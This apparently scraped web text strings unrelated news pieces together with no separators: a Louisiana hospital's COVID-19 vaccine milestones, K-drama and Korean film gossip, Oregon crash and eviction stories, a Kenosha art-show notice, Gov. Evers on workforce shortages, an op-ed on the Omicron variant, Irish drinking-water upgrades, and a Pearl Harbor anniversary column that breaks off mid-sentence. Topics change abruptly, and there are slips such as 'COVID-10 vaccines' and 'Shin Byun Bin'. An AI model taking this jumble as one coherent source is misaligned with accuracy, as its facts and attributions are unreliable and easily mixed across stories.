after administering Acadianas first COVID-19 vaccines to healthcare workers who had been fighting the virus since its onset, Ochsner Lafayette General shares vaccine milestones. Since December 15, 2020, Ochsner Lafayette General has: Administered 72,193 vaccine doses to eligible patients Provided additional protection through the administration of 4,052 booster doses Vaccinated 150 children under the age of 12 Hosted daily vaccination events across Acadiana Ochsner Health was the first healthcare organization in the state and one of the first in the U.S. to begin COVID-19 vaccination efforts. One year ago today, nearly 300 Ochsner Lafayette General healthcare workers received their first Pfizer vaccine, and 2,925 doses were administered at Ochsner Lafayette General facilities that week. Below are interviews from some of these healthcare heroes about how they felt being the first to receive the COVID-19 vaccine in Acadiana. You can watch a video of that here. Louisiana has lost 14,912 lives to COVID-19. As the highly contagious Omicron variant continues to spread globally, it is recommended that every eligible community member get vaccinated. Booster shots are now approved for ages 16 and older and are strongly recommended. Ochsner Lafayette General hosts a daily vaccine clinic at the Domingue Recreation Center, located at 901 Mudd Ave. Walk-ins are welcome. To make an appointment or learn more, please visit www.ochsnerlg.org/vaccine. Ex-lovers Kook Yeon Soo (Kim Da Mi) and Choi Woong (Choi Woo Sik) agreed to do the film documentary sequel, but it's not as easy as it seems to be. In "Our Beloved Summer" episode 4, the wounds that both of them thought healed overtime reopens. 'Our Beloved Summer' Episode 4: Choi Woong and Kook Yeon Soo Reminisce About Their Bittersweet Past "Our Beloved Summer" episode 4 highlights the struggles Woong (Kim Sung Cheol) faces because of Woong and Yeon Soo's stubbornness. In order to give the fans a quality documentary, the two ex-lovers need to cooperate with each other and with their film director Ji Woong. However, it's not as easy as it looks. As they go on about their day, Woong and Yeon Soo are reminded of their young love that was once shared. Because of their pride, they thought of pulling out from participating in the documentary as both don't want to look back at the past and how they fell madly in love with each other. Choi Woong Gets Accused of Plagiarism Woong spent his highschool years drawing buildings and nature. Even after Yeon Soo broke up with him, the only thing that kept him sane was his passion for his art. The art community, and even Woong and Yeon Soo, was shocked as Nua (Kwak Dong Yeon), a fellow building illustrator, accused Woong of plagiarism. IN CASE YOU MISSED IT: 'Our Beloved Summer' Episode 3: Choi Woo Sik Has Kim Da Mi Wrapped Around His Finger Because Woong hides behind his persona Ko-o, Nua was quick to put him in a tight position. Unbeknownst to everyone, Nua and Woong have been rivals since then, both getting under each other's skins. This issue certainly put Ko-o's name in a bad light, but his friends and loved ones, including Yeon Soo, know better. They all believed in him. Top Idol NJ Comforts a Lonely Choi Woong It was clear that the beautiful celebrity NJ (Noh Jung Ui) is interested in Woong, but the artist remains oblivious. And when Woong asks for her favor, NJ gladly comes to help him. The two spent a day looking for the perfect suit and tie for Woong, who is exclusively invited to a Yeon Soo's company's party as a collaborator. Despite the plagiarism allegations, Woong is still determined to work with the company, as it's a building that was designed by his favorite architect. Woong and NJ became each other's comfort blanket after an exhausting day. The two exchanged warm smiles over tteokbokki (spicy rice cake) and soju (Korean alcohol). Choi Woong's Heart Gets Broken by The Same Person Twice At the grand party, Woong enjoys his alone time munching on confectionaries. His thoughts were interrupted by Nua, who also attended the party, with an annoying smug look on his face. Nua messes with his head, and insults him and his art works. After he figures out what's happening, he rushes to Yeon Soo who's busy entertaining the guests and asks her for an answer. When Yeon Soo couldn't answer him, he takes it to heart and accuses his ex-girlfriend for ruining his life twice in this lifetime. Follow KDramaStars for more KMovie, KDrama, and celebrity updates! KDramaStars owns this article. Written by Elijah Mully. On December 14, Yooborn Company, Shin Hyun Bin's agency, announced that the actress has tested positive for COVID-19 despite being fully vaccinated. 'Reflection of You' Actress Shin Hyun Bin Tests Positive for COVID-19 Shin Hyun Bin stirred worry from fans and K-Drama viewers after Yooborn Company, the "Reflection of You" star's agency, announced that the actress has been diagnosed with COVID-19, despite getting complete vaccinations in September. Yooborn Company released an official statement regarding the actress' current condition. They stated, "On Monday, December 13, Shin Hyun Bin was notified that she had been in close contact with a person who tested positive for COVID-19. She immediately had herself tested, and received a positive result the next day." The actress completed her vaccitionation in early September. She also participated in her scheduled activities for her recently concluded drama, "Reflection of You," while regularly getting tested for the virus. IN CASE YOU MISSED IT: BLACKPINK Jisoo Displays Tight Bond With College Roommates Jung Shin Hye, Kim Mi Soo and Choi Hee Jin in 'Snowdrop' "Shin Byun Bin is in good health and doesn't experience any problems currently," a representative from the company stated. "However, we cancelled all her remaining scheduled activities as we are following safety protocols and necessary measures provided by the health authorities." Yooborn Company concluded their statement with a deep apology for causing concern to fans and many people. 'Hospital Playlist,' 'Reflection of You' and Other Shin Hyun Bin Projects The 36-year-old actress decorated 2021 with her amazing acting and charismatic aura with top-rating dramas "Hospital Playlist" and "Reflection of You." She is a recurring character in the global best drama as resident and general surgery fellow Jang Gyeo Ul, where she received critical acclaim for her performance and chemistry with her co-stars. After the second season of "Hospital Playlist," she was cast to decorate another Netflix melodrama "Reflection of You" alongside Go Hyun Jung, Kim Jae Young and Choi Won Young. The following year, 2022, is also jam-packed with new exciting dramas that include Shin Hyun Bin. The actress is set to return to the small screen with a new JTBC romance drama "The Youngest Son of a Conglomerate." SHin Hyun Bin will lead the drama with "Descendants of the Sun" actor Song Joong Ki. "Hometown Cha-Cha-Cha" actor Jo Han Chul and "High Class" actor Kim Nam Hee are also participating in the upcoming JTBC drama. "The Youngest Son of a Conglomerate" follows the story of an employee who is killed by his employers after he's framed for embezzlement, only to be reincarnated as the conglomerate's youngest son who seeks revenge. The drama is slated to air in the early half of 2022. However, the exact date of its release is yet to be announced. Follow KDramaStars for more celebrity news. KDramaStars owns this article. Written by Elijah Mully. Upcoming film "Emergency Declaration" starring Lee Byung Hun, Song Kang Ho, Im Siwan, Kim Nam Gil, Jeon Do Yeon, Park Hae Joon, and Kim So Jin to postpone its release next year. Disaster Film 'Emergency Declaration' Postpones its Release Due to Covid-19 Cases Showbox company, the official distributor of "Emergency Declaration" announced on December 15 that due to the increasing cases of Covid-19, the movie's supposed premiere in January will be postponed. According to their official statement "Covid-19 is spreading rapidly, and each sector is making efforts to strengthen quarantine protocols. Considering the difficulties of the current situation made us decide that the release of 'Emergency Declaration' has been temporarily postponed." The film is already supposed to premiere in January and the team was in the process of preparing for promotions but due to the rapid increase of Covid cases in South Korea, Song Kang Ho and Lee Byung Hun's much-awaited movie will be rescheduled for release in 2022. YOU MIGHT ALSO LIKE: 'Parasite' Actor Song Kang Ho to Judge in the Upcoming 74th Cannes Film Festival 'Emergency Declaration' Synopsis and Cast "Emergency Declaration" is a reality aviation disaster film that takes place over an airplane that declared an unconditional landing in the middle of an unprecedented disaster situation. It is the first-ever aviation disaster film to be produced by Koreans. It is also composed of star-studded cast namely "Parasite" actor Song Kang Ho, "Squid Game" actor Lee Byung Hun, Jeon Do Yeon, "The Fiery Priest" star Kim Nam Gil, Im Siwan, Kim So Jin, and Park Hae Joon. 'Emergency Declaration' Invited to 74th Cannes Film Festival Ahead of its long-awaited release, the cast were already invited at the recent 74th Cannes International Film Festival in July in non-competition category and received recognition worldwide. This recognition was the reason why the film was scheduled to premiere in January but unfortunately, viewers have to wait a little longer again about the new schedule of the movie's release. Meanwhile, the production already released the trailer and some photo teasers of the movie. "Emergency Declaration" is written and directed by Han Jae Rim who also helmed "The King" (2017), "The Face Reader" (2013), "The Show Must Go On" (2007) and "Rules of Dating" (2005). He also won Best Screenplay for the movie "The King" at the Daejong Film Awards in 2017 and bagged the Best Film and Best Director Awards in the same event ceremony in 2013. IN CASE YOU MISSED IT: Park Hae Joon and Im Siwan To Star in "Emergency Declaration" Movie What are your thoughts about the temporary postponement of the film "Emergency Declaration"? Share your comments with us! For more K-Drama, K-Movie, and celebrity news and updates, keep your tabs open here at Kdramastars. Kdramastars owns this article. Shai Collins wrote this. Netflix released "The Silent Sea,' main poster featuring the elite space crew led by Bae Doona and Gong Yoo. Based on the short film "Sea of Tranquility," the upcoming mystery sci-fi thriller follows the story of a group of astronauts who are set to undergo a secret mission. Their task is to retrieve samples from the abandoned lunar base known as the "silent sea" and return to the earth safely. 'The Silent Sea' Main Poster The streaming giant continues to entice fans with captivating and intriguing teasers, giving the viewers a glimpse of what to expect in the forthcoming series. The latest poster features Bae Doona, Gong Yoo, Lee Joon, Lee Moo Saeng and Kim Sun Young, sporting the iconic white suit inside a space shuttle. On the main poster, the group all dons fearful expressions signaling that something is up at the lunar base. Interestingly, the fans could not wait for "The Silent Sea" release date as they expressed their excitement towards the upcoming Netflix series. Moreover, the viewers are also thrilled to see Bae Doona and Gong Yoo in one drama. Helmed by "The Sea of Tranquility" director Choi Hang Yong and penned by "Mother" screenwriter Park Eun Kyo, the eight-part episode series is slated to hit Netflix on December 24. Meet 'The Silent Sea' Characters The characters of the upcoming mystery thriller series are headed by the "Kingdom" star who took the role of astrobiologist Song Ji An. She was instructed by the Korea Space Aviation Administration's resource team leader Kim Jae Sun, played by the "Squid Game" actor Heo Sung Tae, to head to the abandoned lunar base for a top-secret mission. She is joined by a group of skilled astronauts led by Gong Yoo's character Han Yoon Jae, the spacecraft's team leader, with senior engineer Ryu Tae Seok, played by Lee Joon. Capping off the elite space team is the head of security Gong Soo Hyuk (Lee Moo Saeng,) team doctor Hong Ga Young (Kim Sun Young,) and spaceship pilot Kim Sun (Lee Sung Wook.) Based on the trailer, the team faced challenges as the spacecraft landed on the moon. The goal is to shed light on the government's report by retrieving artifacts on the "silent sea" located at the Balhae Station. "What if the government report wasn't true?" Song Ji An mentioned in the trailer adding, "There are too many things we don't know." In the next scene, Han Yoon Jae suggests evacuating the base before things worsen. 'The Silent Sea' Cast and Producer Jung Woo Sung Details their Experience Filming the Netflix Series After the upcoming Netflix series was confirmed, the Kdrama's executive producer and award-winning actor Jung Woo Sung told the media why he wanted to work with "The Silent Sea." In a press conference, he revealed that he was captivated by "The Sea of Tranquility" and decided to turn it into a series. Lead star Bae Doona also shared the same stance and expressed her excitement to work on the mystery-thriller series. "Like Jung Woo Sung, I also saw the short film first and thought it was such a great subject. I was captivated by the story with its expandability, so I joined the cast," the actress said in a media conference. KDramastars owns this article Geca Wills wrote this Park So Dam's new movie "Special Cargo" unveils a new trailer featuring the lead star's diversity as an actress. From her mysterious character in "Parasite," the 30-year-old South Korean beauty surprises fans in a never-before-seen role. 'Special Cargo' Trailer Displays Park So Dam's Drifting Skills The actress took on the role of Eun Ha, who is known for her impressive driving skills and has a 100 percent success rate of delivering special packages. In a 44-second trailer, the video starts with a voiceover asking if the person could pull off a significant task. "Where's the destination? You can think of it as she'll deliver anything that the postal service won't. She's not picky about the package or the method. It's a type of special delivery." This was followed by a scene where Eun Ha prepares the car for a thrilling ride. She then encounters the group of Kyung Pil, played by Song Sae Byuk. He is a corrupt police officer whose second job is a gang leader. After a series of car chase and fight scenes, Eun Ha jumps from a building with a phrase flashed on the screen. "100 percent success rate, special delivery driver Park So Dam. This January 2022, the most thrilling special delivery will begin." Helmed and written by "Private Eye" director Park Dae Min, the upcoming action crime film premieres on January 12. "Special Cargo" cast members also include child actor Jung Hyun Joon, who played kidnapped victim Seo Won. Joining the cast is "Taxi Driver" star Kim Eui Sung as President Baek and Shin Soo Oh as Detective Kang. Park So Dam Diagnosed with Papillary Thyroid Cancer + Will Skip Promotional Activities for 'Special Cargo' Ahead of her new movie, the 30-year-old actress is recovering from surgery after being diagnosed with Papillary Thyroid Cancer. Park So Dam's agency confirmed that the actress was diagnosed with the said illness after performing her regular health examination. With this, the doctors recommended that the actress undergo surgery and is currently recovering from it. As for her upcoming film, the management shared that the "Record of Youth" star will not be attending promotions and was "very disappointed" that she won't be able to meet her fans in person. "Although actress Park So Dam cannot participate in "Special Delivery" promotions, she is cheering on the "Special Cargo" premiere," her agency mentioned in a statement. The action crime movie is her comeback to the big screen, six years since the rom-com film "Cinderella and the Four Knights" was premiered. The South Korean star debuted as an actress in 2013 and appeared in notable Kdramas such as "A Beautiful Mind" and films "The Youth," "The Vampire Lives Next Door To Us," "Run Off," and more. Interestingly, the Oscar-winning film "Parasite" gained her international attention after landing the role of Kim's family's daughter named Kim Gi Jeong, who disguised herself as an art teacher, Jessica. KDramastars owns this article Geca Wills wrote this Lee Dong Wook's "Bad and Crazy," BLACKPINK's Jisoo's "Snowdrop," Lee Jin Wook's "Bulgasal," and Hyeri's "Moonshine" are the new K-dramas to hit the screens starting on December 17! Are you excited? Read on and see each of these dramas' premiere date, synopsis, and where to stream! 'Bad and Crazy' Release Date: December 17 Time Slot: 10:40 p.m. (KST) (Friday - Saturday) Cast: Lee Dong Wook, Wi Ha Joon, Han Ji Eun, Cha Hak Yeon Where to Watch: tvN and iQiyi Serving you an exciting and action-packed drama, none other than tvN's highly-anticipated series "Bad and Crazy"! It stars two of the hottest Korean actors today, Lee Dong Wook and Wi Ha Joon. The story revolves around two exactly opposite people who will join forces to fight for justice even though they are living in completely different beliefs both in life and work. Soo Yeol (Lee Dong Wook), an ambitious police officer who is ready to get his hands dirty for the sake of work. K (Wi Ha Joon), on the other hand, is a righteous guy, but also a crazy person who dreams of becoming a hero. As their worlds collide, Soo Yeol and K will team up for an exciting adventure to fight for their own personal ambitions. 'Snowdrop' Release Date: December 18 Time Slot: 10:30 p.m. (KST) (Saturday - Sunday) Cast: Jung Hae In, BLACKPINK Jisoo, Kim Hye Yoon, Yoo In Na, Jang Seung Jo Where to Watch: JTBC and Disney Plus Korea BLACPINK Jisoo is finally making her comeback and first drama lead role with "Snowdrop," alongside versatile actor Jung Hae In. Fans can't wait to see the chemistry of the new onscreen couple. Will their love story end on a happy note or tragically? JTBC's "Snowdrop" is set in 1987 and depicts the story of Im Soo Ho (Jung Hae In) and Eun Young Ro (Jisoo), who find each other due to an unexpected event and soon develop feelings for each other. 'Bulgasal' Release Date: December 18 Time Slot: 9 p.m. (KST) (Saturday - Sunday) Cast: Lee Ji Wook, Kwon Nara, Lee Joon Where to Watch: tvN Revenge-fantasy drama "Bulgasal" tells the story of two destined souls reincarnated as humans. Dan Hwal (Lee Ji Wook) is a human who becomes immortal after carrying out a mission as a military officer to eliminate the remains of the previous dynasty. He has been living for almost 600 years. He then meets Min Sang Woon (Kwon Nara), a former immortal who is reincarnated as a human and seeks revenge on those people who made her live in misery in the past. 'Moonshine' Release Date: December 20 Time Slot: 9:30 p.m. (KST) Cast: Yoo Seung Ho, Lee Hyeri, Byun Woo Seok, Kang Mi Na Where to Watch: KBS2 KBS's "Moonshine" is a historical comedy series with a twist of romance set in the Joseon era. It will tell the love story of Kang Ro Seo (Lee Hyeri), a noblewoman who starts making alcohol illegally to support her family, and Nam Young (Yoo Seung Ho), a smart and Joseon's greatest inspector. YOU MIGHT ALSO LIKE: Yoo Seung Ho and Byun Woo Seok Unexpected Meet in an Incident in 'Moonshine' Which among these upcoming Kdramas are you most excited to watch? Share your comments with us! For more Korean drama news, keep your tabs open here at Kdramastars. Kdramastars owns this article. Shai Collins wrote this. MEDFORD, Ore. Cow Creek Public Health is partnering with the Oregon Health Authority to host a vaccination event Saturday, December 18th from 10 a.m. 3 p.m. in the parking lot of 8th and South Central. Moderna and Johnson & Johnson vaccines and booster shots will be available free of charge. No appointment is necessary. If you get vaccinated or bring someone to get vaccinated, youll receive $15 to use towards a meal from Pacific Northwest Toasted Cheese food truck, which will be on-site throughout the vaccination event. Click HERE for more information. EAGLE POINT, Ore. Oregon State Police says that a two-vehicle crash along Highway 62 north of Eagle Point on Tuesday resulted in the deaths of two people. Troopers and emergency crews responded to reports of the crash just before 6:45 p.m. on Tuesday. According to the initial OSP investigation, 35-year-old Whitney Smith of Medford had been driving a Chevy Cruise eastbound on Highway 62 when she moved into the oncoming lane in order to pass another driver who had been preparing to make a left turn on Hammel Road. When Smith went to pass, OSP said, she collided head-on with 35-year-old Elyse Hines of Eagle Point in a Subaru Legacy heading the opposite direction. Hines received fatal injuries in the crash and was pronounced dead at the scene. Smith was taken to Asante Rogue Regional Medical Center where she later died from her injuries. OSP said that Highway 62 was closed for about 3.5 hours during the response and investigation. Troopers were assisted at the scene by the Jackson County Sheriff's Office and ODOT. KENOSHA Lemon Street Gallery, 4601 Sheridan Road, is hosting its annual Artistree The Giftable Art Show. The show runs through Dec. 24. Each year, between 32 and 40 artists have their artwork for sale at this annual event, described by the gallery as "a one-of-a-kind giftable art show that features locally made items." Juried art show After the holidays, Lemon Street is hosting Oh, So Appealing, a juried art show, from Jan. 6 through 30. The opening reception is Jan. 8. Entries are being sought for this show, juried by Trenton Baylor, a sculptor and an associate art professor for UW-Parkside's art and design department. All artists age 18 and older who live in southeastern Wisconsin or northeastern Illinois are eligible to enter artwork. Artists may submit up to three items. Entries must be original and have been completed in the past two years. No copies or reproductions will be accepted. Entries must be dropped off at the gallery from 11 a.m. to 4 p.m. Dec. 17-19. All mediums will be accepted for this show. Work must not exceed 3 feet, in any direction. All 2D pieces must be framed and ready to hang with a wire (no sawtooth). All 3D works must be freestanding or supported with a base. The fee to enter is $30 (non-refundable) for up to three pieces. Also, an artist's statement, of up to 250 words, is required and will be displayed in the exhibit booklet. Entry forms and fees will be done on the gallery's website, lemonstreetgallery.org. Awards will be given: $250 for first place, $150 for second place, $100 for third place and a gift certificate for honorable mention. For more details, call the gallery at 262-605-4745 or email shelbylemonstreet@gmail.com. The gallery is open 11 a.m. to 5 p.m. Thursday-Saturday and 11 a.m. to 4 p.m. Sunday. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 In his visit to Gateway Technical College's Horizon Center in Kenosha on Tuesday, Gov. Tony Evers admitted there is not one quick and easy fix to the the states ongoing workforce struggles. But he feels theres one place to look that would go a long way to help the situation. During a question-and-answer session with assembled media on a three-city stop to award Workforce Innovation Grant funds, Evers said fixing the immigration situation would certainly help those businesses who cant fill vacancies, not only here, but across the country. If at some point and time, we as a nation can figure out immigration issues, the entire country would be thankful for that, Evers said. There are a shortage of workers, people, all across this country. For some reason, we havent been able to figure that out. Evers said he spoke to a large employer Monday night who echoed the workforce concerns heard by many. Evers said she told him if possible, shed head to the border and come back with as many workers as she could find. She said, Id be glad to take two buses down to the border of Mexico and bring back people that are willing, who want to work and be good Americans, bring them back to Wisconsin. Ill pay for there housing and pay them $20 an hour to work, too, Evers said. That tells me that the immigration policy has to be fixed, Evers explained. Evers said its difficult to pinpoint the single greatest need to close the workforce gap, which continues with the state at an unemployment rate of just 3.2%, well below the national average. It depends on where you are in the State of Wisconsin, he said. Certainly, theres a numbers issues, but whether its talent development, bringing people together, providing further training going forward, selection of people for the workforce and making them workforce ready, it depends on the area. We need to have the people of Wisconsin to be as ready to work as possible. Evers said employers throughout the state were included in the decisions made for which groups would receive the first round of grants from the program. Twelve regional projects were awarded nearly $60 million in this first round, with another round set for 2022. All these projects that have been approved have reached out to employers all across the state, Evers said. When it comes to eliminating programs like food stamps and free and reduced lunches in schools, that some may think are keeping possible employees at home, Evers said hes in no way in favor of that. To me, thats an issue, he said. I know that was an issue that was clearly brought out during the unemployment compensation issue, that somehow people were getting so much money to be unemployed. Thats over. First of all, I never believed that. There was no data to support that. Thats over, and were still having problems. We have people in the State of Wisconsin that have an opportunity now with these projects in different parts of the state to increase their job skills so theyre more marketable. This is the right approach to take. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. 245 Shares Share Make no mistake, the newest variant in the COVID-19 family is far more contagious than any of the others. Will it cause a drastic surge in the pandemic? Or could it have a mitigating influence? First identified in South Africa on November 11, Omicron quickly became the dominant variant in that country. In October, Delta variants were found in 80 percent of all samples sequenced, while in November, 75 percent were Omicron, with only 22 percent Delta. By December 12, cases of omicron COVID-19 had been identified in more than fifty countries and in twenty-six states in the U.S. It has even been detected in Florida wastewater. More worrisome than its rapid spread is the unique ability of this variant to evade immunity. This has been documented by both clinical experience and laboratory evidence. Many of the first cases occurred in people who had been vaccinated or had a prior COVID-19 illness. Their immunity did not stop Omicron from infecting them. Laboratory tests indicate that the capacity of the antibody cocktails currently used to treat COVID-19 is not very effective against Omicron. And the pre-print of a study from Germany reports that neutralizing antibodies resulting from vaccines or prior COVID-19 infection are nearly forty times less effective against Omicron than against the original virus or the Delta variant. Omicron has far more mutations than any of the other variants. Delta, which is currently the dominant strain in the USA, contains seven mutations, while Omicron has fifty. Thirty-four of these alterations occur on the spike protein, the structure that attaches to human cells. Structural modeling predicts that changes in the shape of the Omicron spike would confer a much greater affinity for the ACE2 receptor on human cells, and this receptor is the gateway for viral infection. The spike protein is also the main target of many COVID-10 vaccines and the site of attack for antibodies from patients recovering from infection. In fact, the mutations influence all four of the sites where neutralizing antibodies work. Thus, it is not surprising that this version of the virus is not easy for antibodies to recognize. How did such a starkly different variant arise? How did all these mutations appear in one single variant? The omicron variant is not descended from any other variant of concern. It appears to derive from an older version. One theory is that the Omicron variant developed in an immunocompromised person. Mutations are random errors made in the process of copying genetic material. As the virus replicated again and again, unchecked by a competent immune system, more and more mistakes occurred, and these accumulated over time. However, it is not just the sheer number of mutations that makes Omicron so different. Mutations usually involve small changes, perhaps a substitution or deletion of one or two bases in the RNA chain. Omicron not only these incremental changes, but also possesses a unique insertion of an RNA segment that has not been found in any other variant. This could have occurred as recombination of RNA in a patient who was simultaneously infected with the SARS-CoV-2 and another respiratory virusrather like crossing COVID-19 with the common cold. The future of the pandemic could be bleak with the arrival of a variant that is so contagious and so resistant to existing immunity. However, early experience suggests that the disease caused by Omicron is mild. A spike in deaths has not accompanied the South African spike in cases associated with the advent of Omicron. Seventy percent of COVID-19 patients in one Pretoria hospital during the November Omicron surge did not require oxygen. Most of the patients who tested positive for COVID-19 had no respiratory symptoms. Two-thirds had been admitted to the hospital for other medical reasons. The frequency of asymptomatic disease in these hospitalized patients suggests that asymptomatic disease could also be very prevalent in the general population. The incidence of Omicron breakthrough infections raises valid concerns about the efficacy of vaccines. However, current evidence suggests that initial vaccination plus a booster confers about 70 percent protection, presumably because boosters result in a much higher level of circulating antibodies in the circulating blood than after the initial vaccination. A booster shot or reinfection wakes up memory B-cells that stimulate the production of antibodies. Only antibodies can directly prevent infection, by clinging to the spike protein and preventing its attachment to a cell. Fortunately, the immune system has other mechanisms for defense once an infection takes hold. The next layer comes from white blood cells called T cells, which identify and destroy infected cells. Research, not yet peer-reviewed, has documented that mRNA vaccines do produce T cells with robust responses to COVID-19 infection. Early signs that Omicron is a more benign variant are encouraging but not conclusive. The early outcomes could have been mild because the confirmed cases so far were mostly in younger patients who have been vaccinated or previously infected. Thus, their illness could have been mitigated by the existing level of immunity. Is it possible that a less virulent form of SARS-CoV-2 could actually confer some benefit by significantly increasing herd immunity and decreasing morbidity and mortality? Perhaps. First, assume that the more infectious Omicron does become the dominant strain over Delta. Trends in South Africa and the U.K. predict that this will be the case. The next condition is that Omicron proves to be just as mild as early experience suggests and that it sweeps through the population as mild or asymptomatic infections. That it is not just another variant that drives up hospitalizations and deaths. The final and critical condition is that infection with Omicron actually confers immunity to other strains. Otherwise, the more severe variants will continue to spread. The best way to avoid Omicron, or any other virus, is to wear a mask, wash hands, and avoid crowded situations. Wolf or sheep? We will witness the answer to the question as Omicron as it unfolds over time. And that time period is likely to be very short. Gayle Woodson is an otolaryngologist. Image credit: Shutterstock.com EUGENE, Ore. --- A landlord of a rental home in Eugene is sharing her experience after she claims a group of people squatted at her property for several months against her wishes, under the eviction moratorium rules. The woman, who wishes to remain anonymous, said it wasnt until she won a recent civil suit against them, that they were forced to leave the property. Her brother, Donald Dupre said there was plenty of controversy during the groups time there, including several negative encounters with neighbors. He said even though the group is gone, the financial impact is still felt due to the damages they left behind. He said there were thousands of dollars in damages to the plumbing and electrical system, in addition to the legal fees. "It's been really traumatizing for my sister, Dupre said, "Financially, it's been horrific." His sister said she's roughly $15,000 in the hole, and that could increase. "Even though the rental assistance came in and made up part of what she was out. She was out over a year of rent and this is her income, Dupre said. Dupre said this has sparked their desire for change to the eviction rules. "We need a process to be able to distinguish between the people that truly do need help. Believe me, I know people do, but there are also those that are abusing the system and getting away with it, he said. Oregon's legislators recently allocated 10 million dollars for the Landlord Guarantee Fund, which is designed for situations when the tenants do not pay. It still has to be signed by Governor Brown. For Dupre and his sister, that money would help, but it's not nearly enough to cover the work needed to fix the house. Over 99.5% of samples taken in 2020 across Irelands 740 public drinking water supplies are compliant for microbiological and chemical standards producing water that is safe to drink according to the latest Environmental Protection Agency (EPA) Drinking Water Report. This work continued throughout 2021, with an additional six supplies removed so far this year, benefitting over 660,000 people. As a result the population on the RAL reached its lowest ever figure by mid-2021 and Irish Water is continuing with its plans to address all remaining supplies. In Kilkenny, since 2014, Irish Water has continued to upgrade drinking water supplies across the county. These works have improved the water quality for over 20,000 people in Kilkenny. We have built new drinking water infrastructure in towns and villages across the county, improving water quality and benefitting local communities. By building this new infrastructure we have improved drinking water for over 20,000 people and facilitated the removal of 4 water supplies from the EPAs Remedial Action List. We have prioritised our investment to improve drinking water quality for residents and businesses across Kilkenny. Irish Water has carried out essential upgrade works at: 1. Bennettsbridge 2. Inistioge 3. Kilkenny City (Troyswood) 4. Glenmore Irish Water recently announced that Glan Agua has commenced works on the Kilkenny Regional Water Supply Scheme which will see a 30 million euro investment at the Troyswood treatment plant which will benefit 28,000 people. The upgrade works are expected to take around two and half years to complete and will include a new 3 km watermain from Troyswood to the Radestown site to connect to the existing service reservoirs and enable the Radestown plant to be decommissioned. There is also a project underway at the Jamestown Water Treatment Plant (Pilltown/Fidown) in Kilkenny and will benefit 3,000 people once complete. Kilkenny Disinfection Programme We're investing 65 million to upgrade and standardise disinfection systems across the country. The programme involves over 864 water treatment plants, pumping stations, and reservoirs across the country. Delivering clean, safe drinking water is our top priority. Disinfection is an important part of the water treatment process. The disinfection progress kills disease-causing organisms in water. The National Disinfection Programme ensures Kilkenny will continue to have safe and secure drinking water. We have been working with Kilkenny County Council to complete a detailed assessment of the water treatment plants in Kilkenny. The Kilkenny programme is now complete. Disinfection systems at 12 water treatment plants (WTP), pumping stations and reservoirs have been upgraded and standardised. We have also finished operational upgrades to public water supplies and pumping stations. Sites include: Ballyragget WTP, Callan WTP (Mallaunglass), Love Lane WTP, Clogh Castlecomer WTP (Loon WTP), Gowran Goresbridge Paulstown WTP, Graiguenamanagh WTP (Coolroe WTP), Mooncoin WTP (Clonassy WTP ), Mountfinn WTP , Gorteen WTP (Gorteen Springs ), Kilmaganny WTP, Mullinabro WTP and Bawntamaneenagh (Freshford). Similarly in Carlow, Irish Water has been working in partnership with Carlow County Council, to address water quality issues across the county. We have built new drinking water infrastructure in towns and villages across the county, improving water quality and benefitting local communities. In addition, the largest water production facility in county Carlow is currently receiving an upgrade. The Carlow North Regional Water Supply Scheme with production at the Rathvilly Water Treatment Plant will bring a safer, more reliable water supply to a population of 9,783 in Carlow, west Wicklow and Kildare once complete and will promote social and economic development in the area. With 16 years experience behind him, award-winning agricultural journalist Chris McCullough is always on the hunt for his next story. He grew up on the family dairy farm in the heart of Northern Ireland and is based on the countrys east coast. He travels around the world currently virtually to bring readers international news. By John J. Metzler The thunderclap came on an early Sunday morning. Amidst the idyllic and serene Pacific setting of Hawaii, Imperial Japan launched a surprise and devastating attack on the U.S. fleet moored at Pearl Harbor, outside Honolulu. Dec. 7, 1941 would be the date which would live in infamy for shocked and stunned Americans first hearing the news many times zones away from California to Colorado and Connecticut. The United States was now thrust into World War II by an attack few saw coming in the outlying territory of Hawaii. Over 2,400 American servicemen, mostly U.S. Navy were killed that day; 20 warships were sunk including the battleship U.S. Arizona. Four hundred aircraft were wrecked. The U.S. Pacific fleet was badly crippled but importantly not beaten. Eighty years ago, World War II formally started for the United States. Not so well known was that nearly simultaneously after the Pearl Harbor bombing, Japanese forces carried out a coordinated, daring and strategically stunning series of attacks on American bases in the Philippines, Guam and Wake Island as well as the invasion of British Malaya. But let's scroll back for a moment to a serious but oft overlooked events of Dec. 7. China was at war already for a decade as Tokyo set its sights to dismember Manchuria. Japan seized the industrial and strategic Chinese region and turned it into vassal state called Manchukuo. Japan's moves into Manchuria were greeted by deep concern and diplomatic pushback at the League of Nations in Geneva, but little else. Tokyo got away with it. By 1937 Japanese forces would expand deeper into China; Peking, Shanghai and Nationalist China's capital Nanking, which would become site of the infamous six week atrocity of the Nanking Massacre. Still the war in China dragged on and the Imperial Japanese Army became bogged down. Japan's overreach on the China Mainland, and dogged resistance by the Nationalist Chinese forces, took their toll. By summer 1941 the Roosevelt administration slapped an American oil and steel embargo on Japan which effectively shut off its petroleum jugular line necessary for Tokyo's military machine. Japan faced a strategic conundrum; either halt offensive operations or break out and seize the oil resources in the Dutch East Indies. An attack and presumed knockout punch on the U.S. Pacific fleet moored at Pearl Harbor in far-off Hawaii, became a serious military option and then a near certainty. Across the world, Europe was already in its second year of war since 1939 with the attack on Poland. France was occupied by the Nazis and Britain was under air attack. Hitler's national socialist regime had already conquered much of Europe but was now facing military operations during its first Russian Winter. But America remained on the sidelines no more. After the attack on Pearl Harbor, the U.S. was thrust into conflict. Nonetheless even in the lead-up to war, the U.S. military was woefully unprepared. President Franklin D. Roosevelt favored a policy of strong rhetoric rather than proper military preparedness. Yet later what FDR called the "arsenal of democracy" ensured the vast industrial and productive capacity of American industry could turn a peacetime consumer economy into a fearsome war machine. In Detroit, civilian auto production ended in 1941 and by 1942, the factories were turning out trucks and tanks. Fast forward to more recent times. On Sept. 11, 2001, the U.S. faced what I still call the "Pearl Harbor Moment" of this generation. The seemingly endless "War on Terror" remains far from over but has largely neutralized the direct threat of Islamic extremism to the U.S. Now again in East Asia dark clouds gather as the People's Republic of China flexes its political muscles, strengthened by a generation of trade and technology transfer from the U.S. which enhanced Beijing's military capacity and its economic bottom line. As with the world in the 1930s the warning signs abound; contemporary threats of communist China's expansion in the South China Sea and its bullying of democratic Taiwan. All this comes amid the troubling backdrop of a declining U.S. Navy in size and strength. Eighty years ago Pearl Harbor became a jolting wake-up call to the U.S. Millions of Americans served in the military to turn the tide of Axis aggression both in Europe and 